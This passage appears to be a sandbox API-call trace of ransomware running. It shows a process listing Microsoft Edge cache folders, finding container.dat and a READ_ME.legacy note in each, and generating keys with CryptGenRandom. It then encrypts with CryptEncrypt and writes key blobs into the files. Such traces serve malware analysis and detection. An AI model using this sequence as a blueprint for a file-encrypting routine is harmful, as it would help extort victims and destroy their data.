lpNumberOfBytesRead=0x2e1f9bc*=0x237, lpOverlapped=0x0) returned 1 [0193.175] SetFilePointer (in: hFile=0x1ba8, lDistanceToMove=-567, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0193.175] WriteFile (in: hFile=0x1ba8, lpBuffer=0x531498*, nNumberOfBytesToWrite=0x237, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x531498*, lpNumberOfBytesWritten=0x2e1f9bc*=0x237, lpOverlapped=0x0) returned 1 [0193.175] SetFilePointer (in: hFile=0x1ba8, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x237 [0193.175] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0193.175] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0193.175] WriteFile (in: hFile=0x1ba8, lpBuffer=0x5c53a0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c53a0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0193.176] WriteFile (in: hFile=0x1ba8, lpBuffer=0x5c3458*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3458*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0193.176] CloseHandle (hObject=0x1ba8) returned 1 [0193.178] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!002\\MicrosoftEdge\\History\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x12ca25f9, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x1e5c710a, ftLastAccessTime.dwHighDateTime=0x1d3375b, ftLastWriteTime.dwLowDateTime=0xfbbe93dc, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x30d47b0 [0193.178] FindNextFileW (in: hFindFile=0x30d47b0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x12ca25f9, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x1e5c710a, ftLastAccessTime.dwHighDateTime=0x1d3375b, ftLastWriteTime.dwLowDateTime=0xfbbe93dc, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0193.178] FindNextFileW (in: hFindFile=0x30d47b0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x1e5c710a, ftCreationTime.dwHighDateTime=0x1d3375b, ftLastAccessTime.dwLowDateTime=0x1e5c710a, ftLastAccessTime.dwHighDateTime=0x1d3375b, ftLastWriteTime.dwLowDateTime=0x1e5c710a, ftLastWriteTime.dwHighDateTime=0x1d3375b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="container.dat", cAlternateFileName="CONTAI~1.DAT")) returned 1 [0193.178] FindNextFileW (in: hFindFile=0x30d47b0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xfbbe93dc, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xfbbe93dc, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xfbbe93dc, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 1 [0193.178] FindNextFileW (in: hFindFile=0x30d47b0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xfbbe93dc, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xfbbe93dc, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xfbbe93dc, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 0 [0193.178] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4218 | out: pbBuffer=0x5c4218) returned 1 [0193.178] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0193.178] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!002\\MicrosoftEdge\\History\\container.dat", dwFileAttributes=0x80) returned 1 [0193.179] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!002\\MicrosoftEdge\\History\\container.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!002\\microsoftedge\\history\\container.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1bac [0193.179] GetFileSizeEx (in: hFile=0x1bac, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=0) returned 1 [0193.179] ReadFile (in: hFile=0x1bac, lpBuffer=0x5c3458, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3458*, lpNumberOfBytesRead=0x2e1f9bc*=0x0, lpOverlapped=0x0) returned 1 [0193.179] SetFilePointer (in: hFile=0x1bac, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0193.179] WriteFile (in: hFile=0x1bac, lpBuffer=0x5c3478*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3478*, lpNumberOfBytesWritten=0x2e1f9bc*=0x0, lpOverlapped=0x0) returned 1 [0193.179] SetFilePointer (in: hFile=0x1bac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x0 [0193.179] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0193.179] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0193.180] WriteFile (in: hFile=0x1bac, lpBuffer=0x5c4218*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4218*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0193.180] WriteFile (in: hFile=0x1bac, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0193.180] CloseHandle (hObject=0x1bac) returned 1 [0193.183] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!002\\MicrosoftEdge\\IECompatCache\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x12e45fcd, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x12e9247e, ftLastAccessTime.dwHighDateTime=0x1d32715, ftLastWriteTime.dwLowDateTime=0xfbbe93dc, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x30d4070 [0193.183] FindNextFileW (in: hFindFile=0x30d4070, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x12e45fcd, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x12e9247e, ftLastAccessTime.dwHighDateTime=0x1d32715, ftLastWriteTime.dwLowDateTime=0xfbbe93dc, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0193.184] FindNextFileW (in: hFindFile=0x30d4070, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x12e9247e, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x12e9247e, ftLastAccessTime.dwHighDateTime=0x1d32715, ftLastWriteTime.dwLowDateTime=0x12e9247e, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="container.dat", cAlternateFileName="CONTAI~1.DAT")) returned 1 [0193.184] FindNextFileW (in: hFindFile=0x30d4070, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xfbbe93dc, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xfbbe93dc, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xfbbe93dc, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 1 [0193.184] FindNextFileW (in: hFindFile=0x30d4070, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xfbbe93dc, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xfbbe93dc, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xfbbe93dc, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 0 [0193.184] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4218 | out: pbBuffer=0x5c4218) returned 1 [0193.184] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0193.184] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!002\\MicrosoftEdge\\IECompatCache\\container.dat", dwFileAttributes=0x80) returned 1 [0193.184] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!002\\MicrosoftEdge\\IECompatCache\\container.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!002\\microsoftedge\\iecompatcache\\container.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1bb0 [0193.185] GetFileSizeEx (in: hFile=0x1bb0, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=0) returned 1 [0193.185] ReadFile (in: hFile=0x1bb0, lpBuffer=0x5c3478, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3478*, lpNumberOfBytesRead=0x2e1f9bc*=0x0, lpOverlapped=0x0) returned 1 [0193.185] SetFilePointer (in: hFile=0x1bb0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0193.185] WriteFile (in: hFile=0x1bb0, lpBuffer=0x5c34c8*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c34c8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x0, lpOverlapped=0x0) returned 1 [0193.185] SetFilePointer (in: hFile=0x1bb0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x0 [0193.185] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0193.185] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0193.185] WriteFile (in: hFile=0x1bb0, lpBuffer=0x5c4218*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4218*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0193.186] WriteFile (in: hFile=0x1bb0, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0193.186] CloseHandle (hObject=0x1bb0) returned 1 [0193.187] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!002\\MicrosoftEdge\\IECompatUaCache\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x12e9247e, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x12e9247e, ftLastAccessTime.dwHighDateTime=0x1d32715, ftLastWriteTime.dwLowDateTime=0xfbbe93dc, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x30d4470 [0193.188] FindNextFileW (in: hFindFile=0x30d4470, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x12e9247e, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x12e9247e, ftLastAccessTime.dwHighDateTime=0x1d32715, ftLastWriteTime.dwLowDateTime=0xfbbe93dc, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0193.188] FindNextFileW (in: hFindFile=0x30d4470, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x12e9247e, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x12e9247e, ftLastAccessTime.dwHighDateTime=0x1d32715, ftLastWriteTime.dwLowDateTime=0x12e9247e, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="container.dat", cAlternateFileName="CONTAI~1.DAT")) returned 1 [0193.188] FindNextFileW (in: hFindFile=0x30d4470, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xfbbe93dc, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xfbbe93dc, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xfbbe93dc, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 1 [0193.188] FindNextFileW (in: hFindFile=0x30d4470, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xfbbe93dc, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xfbbe93dc, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xfbbe93dc, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 0 [0193.188] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4a58 | out: pbBuffer=0x5c4a58) returned 1 [0193.188] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3538 | out: pbBuffer=0x5c3538) returned 1 [0193.188] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!002\\MicrosoftEdge\\IECompatUaCache\\container.dat", dwFileAttributes=0x80) returned 1 [0193.188] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!002\\MicrosoftEdge\\IECompatUaCache\\container.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!002\\microsoftedge\\iecompatuacache\\container.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1bb4 [0193.189] GetFileSizeEx (in: hFile=0x1bb4, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=0) returned 1 [0193.189] ReadFile (in: hFile=0x1bb4, lpBuffer=0x5c3448, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesRead=0x2e1f9bc*=0x0, lpOverlapped=0x0) returned 1 [0193.189] SetFilePointer (in: hFile=0x1bb4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0193.189] WriteFile (in: hFile=0x1bb4, lpBuffer=0x5c3458*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3458*, lpNumberOfBytesWritten=0x2e1f9bc*=0x0, lpOverlapped=0x0) returned 1 [0193.189] SetFilePointer (in: hFile=0x1bb4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x0 [0193.189] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0193.189] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0193.189] WriteFile (in: hFile=0x1bb4, lpBuffer=0x5c4a58*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4a58*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0193.190] WriteFile (in: hFile=0x1bb4, lpBuffer=0x5c3538*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3538*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0193.190] CloseHandle (hObject=0x1bb4) returned 1 [0193.192] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!002\\MicrosoftEdge\\IEFlipAheadCache\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xcd7afa00, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xcd7afa00, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xfbbe93dc, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x30d42f0 [0193.192] FindNextFileW (in: hFindFile=0x30d42f0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xcd7afa00, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xcd7afa00, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xfbbe93dc, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0193.192] FindNextFileW (in: hFindFile=0x30d42f0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0xcd7afa00, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xcd7afa00, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xcd7afa00, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="container.dat", cAlternateFileName="CONTAI~1.DAT")) returned 1 [0193.192] FindNextFileW (in: hFindFile=0x30d42f0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xfbbe93dc, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xfbbe93dc, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xfbc0f511, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 1 [0193.192] FindNextFileW (in: hFindFile=0x30d42f0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xfbbe93dc, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xfbbe93dc, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xfbc0f511, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 0 [0193.192] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c53a0 | out: pbBuffer=0x5c53a0) returned 1 [0193.192] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0193.192] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!002\\MicrosoftEdge\\IEFlipAheadCache\\container.dat", dwFileAttributes=0x80) returned 1 [0193.193] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!002\\MicrosoftEdge\\IEFlipAheadCache\\container.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!002\\microsoftedge\\ieflipaheadcache\\container.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1bb8 [0193.193] GetFileSizeEx (in: hFile=0x1bb8, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=0) returned 1 [0193.194] ReadFile (in: hFile=0x1bb8, lpBuffer=0x5c3538, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3538*, lpNumberOfBytesRead=0x2e1f9bc*=0x0, lpOverlapped=0x0) returned 1 [0193.194] SetFilePointer (in: hFile=0x1bb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0193.194] WriteFile (in: hFile=0x1bb8, lpBuffer=0x5c3458*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3458*, lpNumberOfBytesWritten=0x2e1f9bc*=0x0, lpOverlapped=0x0) returned 1 [0193.194] SetFilePointer (in: hFile=0x1bb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x0 [0193.194] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0193.194] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0193.194] WriteFile (in: hFile=0x1bb8, lpBuffer=0x5c53a0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c53a0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0193.195] WriteFile (in: hFile=0x1bb8, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, 